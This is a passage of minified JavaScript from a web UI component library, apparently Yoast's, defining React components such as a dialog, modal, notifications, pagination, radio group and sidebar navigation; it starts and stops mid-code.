n=e,a=(0,i.useRef)(null),r=ie(oe((e=>{a.current=e})),t),s=rr(a),o=function(e){let t=yr(),n=(0,i.useContext)(Nr),a=rr(e),[r,s]=(0,i.useState)((()=>{if(!t&&null!==n||P.isServer)return null;let e=null==a?void 0:a.getElementById("headlessui-portal-root");if(e)return e;if(null===a)return null;let r=a.createElement("div");return r.setAttribute("id","headlessui-portal-root"),a.body.appendChild(r)}));return(0,i.useEffect)((()=>{null!==r&&(null!=a&&a.body.contains(r)||null==a||a.body.appendChild(r))}),[r,a]),(0,i.useEffect)((()=>{t||null!==n&&s(n.current)}),[n,s,t]),r}(a),[l]=(0,i.useState)((()=>{var e;return P.isServer?null:null!=(e=null==s?void 0:s.createElement("div"))?e:null})),c=A(),d=(0,i.useRef)(!1);return _((()=>{if(d.current=!1,o&&l)return o.contains(l)||(l.setAttribute("data-headlessui-portal",""),o.appendChild(l)),()=>{d.current=!0,F((()=>{var e;!d.current||!o||!l||(l instanceof Node&&o.contains(l)&&o.removeChild(l),o.childNodes.length<=0&&(null==(e=o.parentElement)||e.removeChild(o)))}))}}),[o,l]),c&&o&&l?(0,mr.createPortal)(fe({ourProps:{ref:r},theirProps:n,defaultTag:vr,name:"Portal"}),l):null})),hr=i.Fragment,Nr=(0,i.createContext)(null),Er=ve((function(e,t){let{target:n,...a}=e,r={ref:ie(t)};return i.createElement(Nr.Provider,{value:n},fe({ourProps:r,theirProps:a,defaultTag:hr,name:"Popover.Group"}))})),xr=Object.assign(gr,{Group:Er}),Rr=(0,i.createContext)((()=>{}));Rr.displayName="StackContext";var wr=(e=>(e[e.Add=0]="Add",e[e.Remove=1]="Remove",e))(wr||{});function Tr({children:e,onUpdate:t,type:n,element:a,enabled:r}){let s=(0,i.useContext)(Rr),o=q(((...e)=>{null==t||t(...e),s(...e)}));return _((()=>{let e=void 0===r||!0===r;return e&&o(0,n,a),()=>{e&&o(1,n,a)}}),[o,n,a,r]),i.createElement(Rr.Provider,{value:o},e)}var Or=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Or||{}),Cr=(e=>(e[e.SetTitleId=0]="SetTitleId",e))(Cr||{});let Sr={0:(e,t)=>e.titleId===t.id?e:{...e,titleId:t.id}},kr=(0,i.createContext)(null);function Pr(e){let t=(0,i.useContext)(kr);if(null===t){let t=new Error(`<${e} /> is missing a parent <Dialog /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,Pr),t}return t}function _r(e,t){return H(t.type,Sr,e,t)}kr.displayName="DialogContext";let Lr=pe.RenderStrategy|pe.Static,Ir=ve((function(e,t){let n=B(),{id:a=`headlessui-dialog-${n}`,open:r,onClose:s,initialFocus:o,__demoMode:l=!1,...c}=e,[d,u]=(0,i.useState)(0),p=Se();void 0===r&&null!==p&&(r=H(p,{[Ce.Open]:!0,[Ce.Closed]:!1}));let m=(0,i.useRef)(new Set),f=(0,i.useRef)(null),y=ie(f,t),b=(0,i.useRef)(null),v=rr(f),g=e.hasOwnProperty("open")||null!==p,h=e.hasOwnProperty("onClose");if(!g&&!h)throw new Error("You have to provide an `open` and an `onClose` prop to the `Dialog` component.");if(!g)throw new Error("You provided an `onClose` prop to the `Dialog`, but forgot an `open` prop.");if(!h)throw new Error("You provided an `open` prop to the `Dialog`, but forgot an `onClose` prop.");if("boolean"!=typeof r)throw new Error(`You provided an \`open\` prop to the \`Dialog\`, but the value is not a boolean. Received: ${r}`);if("function"!=typeof s)throw new Error(`You provided an \`onClose\` prop to the \`Dialog\`, but the value is not a function. Received: ${s}`);let N=r?0:1,[E,x]=(0,i.useReducer)(_r,{titleId:null,descriptionId:null,panelRef:(0,i.createRef)()}),R=q((()=>s(!1))),w=q((e=>x({type:0,id:e}))),T=!!A()&&!l&&0===N,O=d>1,C=null!==(0,i.useContext)(kr),S=O?"parent":"leaf";!function(e,t=!0){_((()=>{if(!t||!e.current)return;let n=e.current,a=z(n);if(a){cr.add(n);for(let e of dr.keys())e.contains(n)&&(pr(e),dr.delete(e));return a.querySelectorAll("body > *").forEach((e=>{if(e instanceof HTMLElement){for(let t of cr)if(e.contains(t))return;1===cr.size&&(dr.set(e,{"aria-hidden":e.getAttribute("aria-hidden"),inert:e.inert}),ur(e))}})),()=>{if(cr.delete(n),cr.size>0)a.querySelectorAll("body > *").forEach((e=>{if(e instanceof HTMLElement&&!dr.has(e)){for(let t of cr)if(e.contains(t))return;dr.set(e,{"aria-hidden":e.getAttribute("aria-hidden"),inert:e.inert}),ur(e)}}));else for(let e of dr.keys())pr(e),dr.delete(e)}}}),[t])}(f,!!O&&T);let k=q((()=>{var e,t;return[...Array.from(null!=(e=null==v?void 0:v.querySelectorAll("html > *, body > *, [data-headlessui-portal]"))?e:[]).filter((e=>!(e===document.body||e===document.head||!(e instanceof HTMLElement)||e.contains(b.current)||E.panelRef.current&&e.contains(E.panelRef.current)))),null!=(t=E.panelRef.current)?t:f.current]}));ne((()=>k()),R,T&&!O),sr(null==v?void 0:v.defaultView,"keydown",(e=>{e.defaultPrevented||e.key===Pe.Escape&&0===N&&(O||(e.preventDefault(),e.stopPropagation(),R()))})),function(e,t,n=(()=>[document.body])){(0,i.useEffect)((()=>{var a;if(!t||!e)return;let r=D(),s=window.pageYOffset;function o(e,t,n){let a=e.style.getPropertyValue(t);return Object.assign(e.style,{[t]:n}),r.add((()=>{Object.assign(e.style,{[t]:a})}))}let i=e.documentElement,l=(null!=(a=e.defaultView)?a:window).innerWidth-i.clientWidth;if(o(i,"overflow","hidden"),l>0&&o(i,"paddingRight",l-(i.clientWidth-i.offsetWidth)+"px"),/iPhone/gi.test(window.navigator.platform)||/Mac/gi.test(window.navigator.platform)&&window.navigator.maxTouchPoints>0){o(e.body,"marginTop",`-${s}px`),window.scrollTo(0,0);let t=null;r.addEventListener(e,"click",(a=>{if(a.target instanceof HTMLElement)try{let r=a.target.closest("a");if(!r)return;let{hash:s}=new URL(r.href),o=e.querySelector(s);o&&!n().some((e=>e.contains(o)))&&(t=o)}catch{}}),!0),r.addEventListener(e,"touchmove",(e=>{e.target instanceof HTMLElement&&!n().some((t=>t.contains(e.target)))&&e.preventDefault()}),{passive:!1}),r.add((()=>{window.scrollTo(0,window.pageYOffset+s),t&&t.isConnected&&(t.scrollIntoView({block:"nearest"}),t=null)}))}return r.dispose}),[e,t])}(v,0===N&&!C,k),(0,i.useEffect)((()=>{if(0!==N||!f.current)return;let e=new IntersectionObserver((e=>{for(let t of e)0===t.boundingClientRect.x&&0===t.boundingClientRect.y&&0===t.boundingClientRect.width&&0===t.boundingClientRect.height&&R()}));return e.observe(f.current),()=>e.disconnect()}),[N,f,R]);let[P,L]=ma(),I=(0,i.useMemo)((()=>[{dialogState:N,close:R,setTitleId:w},E]),[N,E,R,w]),F=(0,i.useMemo)((()=>({open:0===N})),[N]),M={ref:y,id:a,role:"dialog","aria-modal":0===N||void 0,"aria-labelledby":E.titleId,"aria-describedby":P};return i.createElement(Tr,{type:"Dialog",enabled:0===N,element:f,onUpdate:q(((e,t,n)=>{"Dialog"===t&&H(e,{[wr.Add](){m.current.add(n),u((e=>e+1))},[wr.Remove](){m.current.add(n),u((e=>e-1))}})}))},i.createElement(br,{force:!0},i.createElement(xr,null,i.createElement(kr.Provider,{value:I},i.createElement(xr.Group,{target:f},i.createElement(br,{force:!1},i.createElement(L,{slot:F,name:"Dialog.Description"},i.createElement(ir,{initialFocus:o,containers:m,features:T?H(S,{parent:ir.features.RestoreFocus,leaf:ir.features.All&~ir.features.FocusLock}):ir.features.None},fe({ourProps:M,theirProps:c,slot:F,defaultTag:"div",features:Lr,visible:0===N,name:"Dialog"})))))))),i.createElement(Te,{features:we.Hidden,ref:b}))})),Fr=ve((function(e,t){let n=B(),{id:a=`headlessui-dialog-overlay-${n}`,...r}=e,[{dialogState:s,close:o}]=Pr("Dialog.Overlay");return fe({ourProps:{ref:ie(t),id:a,"aria-hidden":!0,onClick:q((e=>{if(e.target===e.currentTarget){if(Ne(e.currentTarget))return e.preventDefault();e.preventDefault(),e.stopPropagation(),o()}}))},theirProps:r,slot:(0,i.useMemo)((()=>({open:0===s})),[s]),defaultTag:"div",name:"Dialog.Overlay"})})),Dr=ve((function(e,t){let n=B(),{id:a=`headlessui-dialog-backdrop-${n}`,...r}=e,[{dialogState:s},o]=Pr("Dialog.Backdrop"),l=ie(t);(0,i.useEffect)((()=>{if(null===o.panelRef.current)throw new Error("A <Dialog.Backdrop /> component is being used, but a <Dialog.Panel /> component is missing.")}),[o.panelRef]);let c=(0,i.useMemo)((()=>({open:0===s})),[s]);return i.createElement(br,{force:!0},i.createElement(xr,null,fe({ourProps:{ref:l,id:a,"aria-hidden":!0},theirProps:r,slot:c,defaultTag:"div",name:"Dialog.Backdrop"})))})),Mr=ve((function(e,t){let n=B(),{id:a=`headlessui-dialog-panel-${n}`,...r}=e,[{dialogState:s},o]=Pr("Dialog.Panel"),l=ie(t,o.panelRef),c=(0,i.useMemo)((()=>({open:0===s})),[s]);return fe({ourProps:{ref:l,id:a,onClick:q((e=>{e.stopPropagation()}))},theirProps:r,slot:c,defaultTag:"div",name:"Dialog.Panel"})})),qr=ve((function(e,t){let n=B(),{id:a=`headlessui-dialog-title-${n}`,...r}=e,[{dialogState:s,setTitleId:o}]=Pr("Dialog.Title"),l=ie(t);(0,i.useEffect)((()=>(o(a),()=>o(null))),[a,o]);let c=(0,i.useMemo)((()=>({open:0===s})),[s]);return fe({ourProps:{ref:l,id:a},theirProps:r,slot:c,defaultTag:"h2",name:"Dialog.Title"})})),Ar=Object.assign(Ir,{Backdrop:Dr,Panel:Mr,Overlay:Fr,Title:qr,Description:fa});const jr=(0,i.forwardRef)((({children:e,className:t},n)=>l().createElement("div",{ref:n,className:r()("yst-modal__container-header",t)},e)));jr.displayName="Modal.Container.Header",jr.propTypes={children:o().node.isRequired,className:o().string},jr.defaultProps={className:""};const Br=(0,i.forwardRef)((({children:e,className:t},n)=>l().createElement("div",{ref:n,className:r()("yst-modal__container-content",t)},e)));Br.displayName="Modal.Container.Content",Br.propTypes={children:o().node.isRequired,className:o().string},Br.defaultProps={className:""};const Hr=(0,i.forwardRef)((({children:e,className:t},n)=>l().createElement("div",{ref:n,className:r()("yst-modal__container-footer",t)},e)));Hr.displayName="Modal.Container.Footer",Hr.propTypes={children:o().node.isRequired,className:o().string},Hr.defaultProps={className:""};const zr=(0,i.forwardRef)((({children:e,className:t},n)=>l().createElement("div",{ref:n,className:r()("yst-modal__container",t)},e)));zr.displayName="Modal.Container",zr.propTypes={children:o().node.isRequired,className:o().string},zr.defaultProps={className:""},zr.Header=jr,zr.Content=Br,zr.Footer=Hr;const $r=(0,i.createContext)({isOpen:!1,onClose:c.noop}),Vr=()=>(0,i.useContext)($r),Ur=(0,i.forwardRef)((({children:t,size:n,className:a,as:s,...o},i)=>l().createElement(Ar.Title,e({as:s,ref:i,className:r()("yst-title",n?Zn.size[n]:"",a)},o),t)));Ur.displayName="Modal.Title",Ur.propTypes={size:o().oneOf(Object.keys(Zn.size)),className:o().string,children:o().node.isRequired,as:o().elementType},Ur.defaultProps={size:void 0,className:"",as:"h1"};const Wr=(0,i.forwardRef)((({children:t,className:n="",hasCloseButton:a=!0,closeButtonScreenReaderText:s="Close",...o},i)=>{const{onClose:c}=Vr(),u=d();return l().createElement(Ar.Panel,e({ref:i,className:r()("yst-modal__panel",n)},o),a&&l().createElement("div",{className:"yst-modal__close"},l().createElement("button",{type:"button",onClick:c,className:"yst-modal__close-button"},l().createElement("span",{className:"yst-sr-only"},s),l().createElement(gt,e({className:"yst-h-6 yst-w-6"},u)))),t)}));Wr.displayName="Modal.Panel",Wr.propTypes={children:o().node.isRequired,className:o().string,hasCloseButton:o().bool,closeButtonScreenReaderText:o().string},Wr.defaultProps={className:"",hasCloseButton:!0,closeButtonScreenReaderText:"Close"};const Kr={position:{center:"yst-modal--center","top-center":"yst-modal--top-center"}},Gr=(0,i.forwardRef)((({isOpen:t,onClose:n,children:a,className:s="",position:o="center",initialFocus:c=null,...d},u)=>l().createElement($r.Provider,{value:{isOpen:t,onClose:n,initialFocus:c}},l().createElement(vt.Root,{show:t,as:i.Fragment},l().createElement(Ar,e({as:"div",ref:u,className:"yst-root",open:t,onClose:n,initialFocus:c},d),l().createElement("div",{className:r()("yst-modal",Kr.position[o],s)},l().createElement(vt.Child,{as:i.Fragment,enter:"yst-ease-out yst-duration-300",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100",leave:"yst-ease-in yst-duration-200",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0"},l().createElement("div",{className:"yst-modal__overlay"})),l().createElement("div",{className:"yst-modal__layout"},l().createElement(vt.Child,{as:i.Fragment,enter:"yst-ease-out yst-duration-300",enterFrom:"yst-opacity-0 yst-translate-y-4 sm:yst-translate-y-0 sm:yst-scale-95",enterTo:"yst-opacity-100 yst-translate-y-0 sm:yst-scale-100",leave:"yst-ease-in yst-duration-200",leaveFrom:"yst-opacity-100 yst-translate-y-0 sm:yst-scale-100",leaveTo:"yst-opacity-0 yst-translate-y-4 sm:yst-translate-y-0 sm:yst-scale-95"},a))))))));Gr.displayName="Modal",Gr.propTypes={isOpen:o().bool.isRequired,onClose:o().func.isRequired,children:o().node.isRequired,className:o().string,position:o().oneOf(Object.keys(Kr.position)),initialFocus:o().oneOfType([o().func,o().object])},Gr.defaultProps={className:"",position:"center",initialFocus:null},Gr.Panel=Wr,Gr.Title=Ur,Gr.Description=Ar.Description,Gr.Description.displayName="Modal.Description",Gr.Container=zr;const Qr=Gr,Yr=(0,i.createContext)({position:"bottom-left"}),Zr=()=>(0,i.useContext)(Yr),Xr={variant:{info:"yst-notification--info",warning:"yst-notification--warning",success:"yst-notification--success",error:"yst-notification--error"},size:{default:"",large:"yst-notification--large"}},Jr=({children:e,id:t,variant:n="info",size:a="default",title:s="",description:o="",onDismiss:d=c.noop,autoDismiss:u=null,dismissScreenReaderLabel:p})=>{const{position:m}=Zr(),[f,y]=(0,i.useState)(!1);return l().createElement(ia,{id:t,className:r()("yst-notification",Xr.variant[n],Xr.size[a]),position:m,size:a,onDismiss:d,autoDismiss:u,dismissScreenReaderLabel:p,isVisible:f,setIsVisible:y},l().createElement("div",{className:"yst-flex yst-items-start yst-gap-3"},l().createElement("div",{className:"yst-flex-shrink-0"},l().createElement(h,{variant:n,className:"yst-notification__icon"})),l().createElement("div",{className:"yst-w-0 yst-flex-1"},s&&l().createElement(ia.Title,{title:s}),e||o&&l().createElement(ia.Description,{description:o})),d&&l().createElement(ia.Close,{dismissScreenReaderLabel:p})))};Jr.propTypes={children:o().node,id:o().string.isRequired,variant:o().oneOf((0,c.keys)(Xr.variant)),size:o().oneOf((0,c.keys)(Xr.size)),title:o().string,description:o().oneOfType([o().node,o().arrayOf(o().node)]),onDismiss:o().func,autoDismiss:o().number,dismissScreenReaderLabel:o().string.isRequired};const es={position:{"bottom-center":"yst-notifications--bottom-center","bottom-left":"yst-notifications--bottom-left","top-center":"yst-notifications--top-center"}},ts=({children:t,className:n="",position:a="bottom-left",...s})=>l().createElement(Yr.Provider,{value:{position:a}},l().createElement("aside",e({className:r()("yst-notifications",es.position[a],n)},s),t));ts.propTypes={children:o().node,className:o().string,position:o().oneOf((0,c.keys)(es.position))},(ts.Notification=Jr).displayName="Notifications.Notification";const ns=ts,as=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M12.707 5.293a1 1 0 010 1.414L9.414 10l3.293 3.293a1 1 0 01-1.414 1.414l-4-4a1 1 0 010-1.414l4-4a1 1 0 011.414 0z",clipRule:"evenodd"}))})),rs=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z",clipRule:"evenodd"}))})),ss=({className:t,children:n,active:a,disabled:s,...o})=>l().createElement("button",e({type:"button",className:r()("yst-pagination__button",t,a&&!s&&"yst-pagination__button--active",s&&"yst-pagination__button--disabled"),disabled:s},o),n);ss.displayName="Pagination.Button",ss.propTypes={className:o().string,children:o().node.isRequired,active:o().bool,disabled:o().bool},ss.defaultProps={className:"",active:!1,disabled:void 0};const os=ss,is=()=>l().createElement("span",{className:"yst-pagination-display__truncated"},"..."),ls=({current:e,total:t,onNavigate:n,maxPageButtons:a,disabled:r})=>{const s=(0,i.useMemo)((()=>(0,c.clamp)(t,1,a)),[t,a]),o=(0,i.useMemo)((()=>(0,c.round)(s/2,0)),[s]),d=(0,i.useMemo)((()=>t>a&&a>1&&e!==o+1),[t,a,o]),u=(0,i.useMemo)((()=>t-(s-o)+1),[t,s,o]),p=(0,i.useMemo)((()=>e>o&&e<u),[e,o,u]);return l().createElement(l().Fragment,null,(0,c.range)(o).map((t=>{const a=t+1;return l().createElement(os,{key:a,className:"yst-px-4",onClick:n,"data-page":a,active:a===e,disabled:r},a)})),d&&l().createElement(is,null),p&&l().createElement(l().Fragment,null,l().createElement(os,{className:"yst-px-4",onClick:n,"data-page":e,active:!0,disabled:r},e),e!==u-1&&l().createElement(is,null)),(0,c.rangeRight)(s-o).map((a=>{const s=t-a;return l().createElement(os,{key:s,className:"yst-px-4",onClick:n,"data-page":s,active:s===e,disabled:r},s)})))};ls.displayName="Pagination.DisplayButtons",ls.propTypes={current:o().number.isRequired,total:o().number.isRequired,onNavigate:o().func.isRequired,maxPageButtons:o().number.isRequired,disabled:o().bool.isRequired};const cs=ls,ds=({current:e,total:t})=>l().createElement("div",{className:"yst-pagination-display__text"},l().createElement("span",{className:"yst-pagination-display__current-text"},e)," / ",t);ds.displayName="Pagination.DisplayText",ds.propTypes={current:o().number.isRequired,total:o().number.isRequired};const us=ds,ps={buttons:"buttons",text:"text"},ms=({className:t,current:n,total:a,onNavigate:s,variant:o,maxPageButtons:u,disabled:p,screenReaderTextPrevious:m,screenReaderTextNext:f,...y})=>{const b=d(),v=(0,i.useCallback)((({target:e})=>s((0,c.parseInt)(e.dataset.page))),[s]);return l().createElement("nav",e({className:r()("yst-pagination",t)},y),l().createElement(os,{className:"yst-rounded-l-md",onClick:v,"data-page":n-1,disabled:p||n-1<1},l().createElement("span",{className:"yst-pointer-events-none yst-sr-only"},m),l().createElement(as,e({className:"yst-pointer-events-none yst-h-5 yst-w-5 rtl:yst-rotate-180"},b))),o===ps.text&&l().createElement(us,{current:n,total:a}),o===ps.buttons&&l().createElement(cs,{current:n,total:a,maxPageButtons:u,onNavigate:v,disabled:p}),l().createElement(os,{className:"yst-rounded-r-md",onClick:v,"data-page":n+1,disabled:p||n+1>a},l().createElement("span",{className:"yst-pointer-events-none yst-sr-only"},f),l().createElement(rs,e({className:"yst-pointer-events-none yst-h-5 yst-w-5 rtl:yst-rotate-180"},b))))};ms.propTypes={className:o().string,current:o().number.isRequired,total:o().number.isRequired,onNavigate:o().func.isRequired,variant:o().oneOf(Object.keys(ps)),maxPageButtons:o().number,disabled:o().bool,screenReaderTextPrevious:o().string.isRequired,screenReaderTextNext:o().string.isRequired},ms.defaultProps={className:"",variant:ps.buttons,maxPageButtons:6,disabled:!1};const fs=ms,ys={variant:{default:"","inline-block":"yst-radio-group--inline-block"}},bs=({children:t=null,id:n="",name:a="",value:s="",label:o,description:d,options:u,onChange:p=c.noop,variant:m="default",disabled:f=!1,className:y="",...b})=>{const v=(0,i.useCallback)((({target:e})=>e.checked&&p(e.value)),[p]);return l().createElement("fieldset",{id:`radio-group-${n}`,className:r()("yst-radio-group",f&&"yst-radio-group--disabled",ys.variant[m],y)},o&&l().createElement(zt,{as:"legend",className:"yst-radio-group__label",label:o}),d&&l().createElement("div",{className:"yst-radio-group__description"},d),l().createElement("div",{className:"yst-radio-group__options"},t||u.map(((t,r)=>{const o=`radio-${n}-${r}`;return l().createElement(ln,e({key:o,id:o,name:a,value:t.value,label:t.label,screenReaderLabel:t.screenReaderLabel,variant:m,checked:s===t.value,onChange:v,disabled:f},b))}))))};bs.propTypes={children:o().node,id:o().string,name:o().string,value:o().string,label:o().string,description:o().string,options:o().arrayOf(o().shape({value:o().string.isRequired,label:o().string.isRequired,screenReaderLabel:o().string})),onChange:o().func,variant:o().oneOf(Object.keys(ys.variant)),disabled:o().bool,className:o().string},(bs.Radio=ln).displayName="RadioGroup.Radio";const vs=bs,gs={isRtl:!1},hs=(0,i.createContext)(gs),Ns=({children:t,context:n={},...a})=>l().createElement(hs.Provider,{value:{...gs,...n}},l().createElement("div",e({className:"yst-root"},a),t));Ns.propTypes={children:o().node.isRequired,context:o().shape({isRtl:o().bool})};const Es=Ns,xs=(0,i.forwardRef)((({id:t,label:n,description:a,disabled:s,validation:o,className:i,...c},d)=>{const{ids:u,describedBy:p}=wa(t,{validation:null==o?void 0:o.message,description:a});return l().createElement("div",{className:r()("yst-select-field",s&&"yst-select-field--disabled",i)},l().createElement(Ln,e({ref:d,id:t,label:n,labelProps:{as:"label",className:"yst-label yst-select-field__label"},disabled:s,validation:o,className:"yst-select-field__select",buttonProps:{"aria-describedby":p}},c)),(null==o?void 0:o.message)&&l().createElement(x,{variant:null==o?void 0:o.variant,id:u.validation,className:"yst-select-field__validation"},o.message),a&&l().createElement("div",{id:u.description,className:"yst-select-field__description"},a))}));xs.displayName="SelectField",xs.propTypes={id:o().string.isRequired,label:o().string.isRequired,description:o().node,disabled:o().bool,validation:o().shape({variant:o().string,message:o().node}),className:o().string},xs.defaultProps={description:null,disabled:!1,validation:{},className:""},xs.Option=Ln.Option,xs.Option.displayName="SelectField.Option";const Rs=xs,ws=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"}))})),Ts=({as:t="span",children:n,className:a,...s})=>l().createElement(t,e({className:r()("yst-sidebar-navigation__icon",a)},s),n);Ts.displayName="SidebarNavigation.Icon",Ts.propTypes={as:o().elementType,children:o().node,className:o().string};const Os=({as:t="div",label:n,icon:a,children:s,defaultOpen:o=!0,...i})=>{const[c,d]=Ba(o);return l().createElement(t,{className:"yst-sidebar-navigation__collapsible"},l().createElement("button",e({type:"button",className:"yst-sidebar-navigation__collapsible-button yst-group",onClick:d,"aria-expanded":c},i),a&&l().createElement(Ts,{as:a,className:"yst-h-6 yst-w-6"}),n,l().createElement(Ts,{as:ws,className:r()("yst-ml-auto yst-h-4 yst-w-4 yst-stroke-3",c&&"yst-rotate-180")})),c&&s)};Os.displayName="SidebarNavigation.Collapsible",Os.propTypes={as:o().elementType,icon:o().elementType,label:o().string.isRequired,defaultOpen:o().bool,children:o().node};const Cs=({as:t="li",children:n,className:a,...s})=>l().createElement(t,e({className:r()("yst-sidebar-navigation__item",a)},s),n);Cs.displayName="SidebarNavigation.Item",Cs.propTypes={as:o().elementType,children:o().node,className:o().string};const Ss=({as:t="a",pathProp:n="href",children:a,className:s,onClick:o,...c})=>{const{activePath:d,setMobileMenuOpen:u}=Bs(),p=(0,i.useCallback)((()=>{u(!1),null==o||o()}),[u]);return l().createElement(t,e({className:r()("yst-sidebar-navigation__link yst-group",d===(null==c?void 0:c[n])&&"yst-sidebar-navigation__item--active",s),"aria-current":d===(null==c?void 0:c[n])?"page":null},c,{onClick:p}),a)};Ss.displayName="SidebarNavigation.Link",Ss.propTypes={as:o().elementType,pathProp:o().string,children:o().node,className:o().string,onClick:o().func};const ks=({as:t="ul",children:n,isIndented:a=!1,className:s,...o})=>l().createElement(t,e({role:"list",className:r()("yst-sidebar-navigation__list",a&&"yst-sidebar-navigation__list--indented",s)},o),n);ks.displayName="SidebarNavigation.List",ks.propTypes={as:o().elementType,children:o().node,isIndented:o().bool,className:o().string};const Ps=({label:t,icon:n=null,children:a=null,defaultOpen:r=!0,...s})=>l().createElement(Os,e({label:t,icon:n,defaultOpen:r},s),l().createElement(ks,{isIndented:!0},a));Ps.propTypes={label:o().string.isRequired,icon:o().elementType,defaultOpen:o().bool,children:o().node};const _s=Ps,Ls=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 6h16M4 12h16M4 18h7"}))})),Is=({children:e,openButtonId:t,closeButtonId:n,openButtonScreenReaderText:a="Open",closeButtonScreenReaderText:r="Close","aria-label":s})=>{const{isMobileMenuOpen:o,setMobileMenuOpen:c}=Bs(),d=(0,i.useCallback)((()=>c(!0)),[c]),u=(0,i.useCallback)((()=>c(!1)),[c]);return l().createElement(l().Fragment,null,l().createElement(Ar,{className:"yst-root",open:o,onClose:u,"aria-label":s},l().createElement("div",{className:"yst-mobile-navigation__dialog"},l().createElement("div",{className:"yst-fixed yst-inset-0 yst-bg-slate-600 yst-bg-opacity-75 yst-z-30","aria-hidden":"true"}),l().createElement(Ar.Panel,{className:"yst-relative yst-flex yst-flex-1 yst-flex-col yst-max-w-xs yst-w-full yst-z-40 yst-bg-slate-100"},l().createElement("div",{className:"yst-absolute yst-top-0 yst-right-0 yst--mr-14 yst-p-1"},l().createElement("button",{type:"button",id:n,className:"yst-flex yst-h-12 yst-w-12 yst-items-center yst-justify-center yst-rounded-full focus:yst-outline-none yst-bg-slate-600 focus:yst-ring-2 focus:yst-ring-inset focus:yst-ring-primary-500",onClick:u},l().createElement("span",{className:"yst-sr-only"},r),l().createElement(gt,{className:"yst-h-6 yst-w-6 yst-text-white"}))),l().createElement("div",{className:"yst-flex-1 yst-h-0 yst-overflow-y-auto"},l().createElement("nav",{className:"yst-h-full yst-flex yst-flex-col yst-py-6 yst-px-2"},e))))),l().createElement("div",{className:"yst-mobile-navigation__top"},l().createElement("div",{className:"yst-flex yst-relative yst-flex-shrink-0 yst-h-16 yst-z-10 yst-bg-white yst-border-b yst-border-slate-200"},l().createElement("button",{type:"button",id:t,className:"yst-px-4 yst-border-r yst-border-slate-200 yst-text-slate-500 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-inset focus:yst-ring-primary-500",onClick:d},l().createElement("span",{className:"yst-sr-only"},a),l().createElement(Ls,{className:"yst-w-6 yst-h-6"})))))};Is.propTypes={children:o().node.isRequired,openButtonId:o().string,closeButtonId:o().string,openButtonScreenReaderText:o().string,closeButtonScreenReaderText:o().string,"aria-label":o().string};const Fs=Is,Ds=({children:e,className:t=""})=>l().createElement("nav",{className:r()("yst-sidebar-navigation__sidebar",t)},e);Ds.propTypes={children:o().node.isRequired,className:o().string};const Ms=Ds,qs=({as:t="a",pathProp:n="href",label:a,...r})=>l().createElement(Cs,null,l().createElement(Ss,e({as:t,pathProp:n},r),a));qs.propTypes={as:o().elementType,pathProp:o().string,label:o().node.isRequired,isActive:o().bool};const As=qs,js=(0,i.createContext)({activePath:"",isMobileMenuOpen:!1,setMobileMenuOpen:c.noop}),Bs=()=>(0,i.useContext)(js),Hs=({activePath:e="",children:t})=>{const[n,a]=(0,i.useState)(!1);return l().createElement(js.Provider,{value:{activePath:e,isMobileMenuOpen:n,setMobileMenuOpen:a}},t)};Hs.propTypes={activePath:o().string,children:o().node.isRequired},(Hs.Sidebar=Ms).displayName="SidebarNavigation.Sidebar",(Hs.Mobile=Fs).displayName="SidebarNavigation.Mobile",(Hs.MenuItem=_s).displayName="SidebarNavigation.MenuItem",(Hs.SubmenuItem=As).displayName="SidebarNavigation.SubmenuItem",Hs.List=ks,Hs.Item=Cs,Hs.Collapsible=Os,Hs.Link=Ss,Hs.Icon=Ts;const zs=Hs,$s=(0,i.forwardRef)((({id:t,label:n,labelSuffix:a,disabled:s,className:o,description:i,validation:c,...d},u)=>{const{ids:p,describedBy:m}=wa(t,{validation:null==c?void 0:c.message,description:i});return l().createElement("div",{className:r()("yst-tag-field",s&&"yst-tag-field--disabled",o)},l().createElement("div",{className:"yst-flex yst-items-center yst-mb-2"},l().createElement(zt,{className:"yst-tag-field__label",htmlFor:t,label:n}),a),l().createElement(Rt,e({as:Wn,ref:u,id:t,disabled:s,className:"yst-tag-field__input","aria-describedby":m,validation:c},d)),(null==c?void 0:c.message)&&l().createElement(x,{variant:null==c?void 0:c.variant,id:p.validation,className:"yst-tag-field__validation"},c.message),i&&l().createElement("p",{id:p.description,className:"yst-tag-field__description"},i))}));$s.displayName="TagField",$s.propTypes={id:o().string.isRequired,label:o().string.isRequired,labelSuffix:o().node,disabled:o().bool,className:o().string,description:o().node,validation:o().shape({variant:o().string,message:o().node})},$s.defaultProps={labelSuffix:null,disabled:!1,className:"",description:null,validation:{}};const Vs=$s,Us=(0,i.forwardRef)((({id:t,onChange:n,label:a,labelSuffix:s,disabled:o,readOnly:i,className:c,description:d,validation:u,...p},m)=>{const{ids:f,describedBy:y}=wa(t,{validation:null==u?void 0:u.message,description:d});return l().createElement("div",{className:r()("yst-text-field",o&&"yst-text-field--disabled",i&&"yst-text-field--read-only",c)},l().createElement("div",{className:"yst-flex yst-items-center yst-mb-2"},l().createElement(zt,{className:"yst-text-field__label",htmlFor:t},a),s),l().createElement(Rt,e({as:Gn,ref:m,id:t,onChange:n,disabled:o,readOnly:i,className:"yst-text-field__input","aria-describedby":y,validation:u},p)),(null==u?void 